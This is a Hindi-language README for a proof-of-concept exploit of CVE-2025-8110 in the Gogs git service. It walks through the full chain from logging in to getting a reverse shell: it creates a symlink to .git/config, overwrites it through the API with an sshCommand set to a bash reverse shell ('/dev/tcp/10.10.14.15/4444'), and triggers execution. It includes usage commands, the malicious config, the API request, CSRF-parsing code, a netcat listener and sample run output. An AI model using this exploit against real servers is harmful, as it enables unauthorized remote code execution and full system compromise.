
CVE-2025-8110 के लिए PoC शोषण
CVE-2025-8110 Gogs में एक गंभीर भेद्यता है जो प्रमाणित हमलावरों को रिपॉजिटरी सिमलिंक हेरफेर के माध्यम से दूरस्थ कोड निष्पादन प्राप्त करने की अनुमति देती है। यह प्रमाण-अवधारणा प्रमाणीकरण से लेकर रिवर्स शेल प्राप्ति तक पूरी शोषण श्रृंखला प्रदर्शित करती है।
यह भेद्यता इसलिए मौजूद है क्योंकि Gogs अपने API के माध्यम से रिपॉजिटरी फ़ाइलों को संभालते समय सिमलिंक का अनुसरण करता है, जिससे हमलावर .git/config जैसी संवेदनशील फ़ाइलों को पढ़ और संशोधित कर सकता है। एक दुर्भावनापूर्ण sshCommand निर्देश इंजेक्ट करके, Gogs सेवा खाते के विशेषाधिकारों के साथ मनमाने सिस्टम कमांड निष्पादित किए जा सकते हैं।
CVSS स्कोर: 7.2 (उच्च)
आक्रमण वेक्टर: नेटवर्क
प्रमाणीकरण आवश्यक: हाँ
उपयोगकर्ता सहभागिता: कोई नहीं
प्रभाव: पूर्ण सिस्टम समझौता
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # मुख्य शोषण स्क्रिप्ट
├── requirements.txt # Python निर्भरताएँ
└── README.md # दस्तावेज़ीकरण
| विकल्प | विवरण | आवश्यक |
|---|---|---|
-u, --url | Gogs बेस URL (जैसे, https://gogs.example.com) | हाँ |
-lh, --host | रिवर्स शेल के लिए हमलावर IP पता | हाँ |
-lp, --port | रिवर्स शेल के लिए हमलावर पोर्ट | हाँ |
-U, --username | Gogs उपयोगकर्ता नाम | हाँ |
-P, --password | Gogs पासवर्ड | हाँ |
-x, --proxy | प्रॉक्सी सक्षम करें (localhost:8080) | नहीं |
-v, --verbose | वर्बोज़ आउटपुट सक्षम करें | नहीं |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 शोषण श्रृंखला │
└─────────────────────────────────────────────────────────────────────────────┘
चरण 1: प्रमाणीकरण
├── /user/login पर जाएँ
├── लॉगिन पेज से CSRF टोकन निकालें
├── CSRF टोकन के साथ क्रेडेंशियल्स सबमिट करें
└── प्रमाणित सत्र स्थापित करें
चरण 2: एप्लिकेशन टोकन जनरेशन
├── /user/settings/applications पर जाएँ
├── सेटिंग पेज से CSRF टोकन निकालें
├── नया एप्लिकेशन टोकन जनरेट करें
└── प्रतिक्रिया से टोकन निकालें
चरण 3: दुर्भावनापूर्ण रिपॉजिटरी निर्माण
├── auto_init के साथ API के माध्यम से रिपॉजिटरी बनाएँ
├── यादृच्छिक रिपॉजिटरी नाम जनरेट करें
└── रिपॉजिटरी URL प्राप्त करें
चरण 4: सिमलिंक अपलोड
├── रिपॉजिटरी को स्थानीय रूप से क्लोन करें
├── .git/config को इंगित करने वाला सिमलिंक बनाएँ
├── परिवर्तन जोड़ें, कमिट करें और पुश करें
└── सफल अपलोड सत्यापित करें
चरण 5: RCE शोषण
├── sshCommand के साथ दुर्भावनापूर्ण .git/config तैयार करें
├── कॉन्फ़िगरेशन सामग्री को Base64 एनकोड करें
├── सिमलिंक लक्ष्य पर API के माध्यम से अपलोड करें
└── कमांड निष्पादन ट्रिगर करें
चरण 6: रिवर्स शेल
├── हमलावर होस्ट से कनेक्शन स्थापित
├── इंटरैक्टिव शेल एक्सेस
└── लक्ष्य पर कमांड निष्पादन
Gogs अपने API के माध्यम से रिपॉजिटरी फ़ाइलों को संभालते समय सिमलिंक ट्रैवर्सल को ठीक से स्वच्छ नहीं करता है। जब API एंडपॉइंट के माध्यम से किसी फ़ाइल तक पहुँचा जाता है, Gogs बिना सत्यापन के सिमलिंक का अनुसरण करता है, जिससे रिपॉजिटरी निर्देशिका के बाहर संवेदनशील फ़ाइलों तक पहुँच की अनुमति मिलती है।
सिमलिंक निर्माण
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
दुर्भावनापूर्ण कॉन्फ़िगरेशन
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API शोषण
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""एकाधिक फ़ॉलबैक विधियों के साथ छिपे हुए इनपुट से CSRF टोकन पार्स करें।"""
# विधि 1: name _csrf वाला इनपुट
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# विधि 2: name csrf_token वाला इनपुट
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# विधि 3: CSRF वाला मेटा टैग
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# विधि 4: स्क्रिप्ट टैग में रेगेक्स पैटर्न
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# विधि 5: छिपे हुए इनपुट के लिए रेगेक्स
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("फ़ॉर्म प्रतिक्रिया में CSRF टोकन नहीं मिला")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# हमलावर मशीन (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# शोषण निष्पादित करें
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] CVE-2025-8110 शोषण शुरू
[INFO] लक्ष्य URL: https://gogs.internal.local
[INFO] हमलावर होस्ट: 10.10.14.15:4444
[INFO] उपयोगकर्ता नाम: admin
[INFO] Gogs में प्रमाणीकरण हो रहा है...
[INFO] लॉगिन CSRF टोकन मिला: abc123def456...
[SUCCESS] सफलतापूर्वक प्रमाणित
[INFO] एप्लिकेशन टोकन प्राप्त किया जा रहा है...
[INFO] सेटिंग CSRF टोकन मिला: xyz789uvw012...
[SUCCESS] एप्लिकेशन टोकन: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0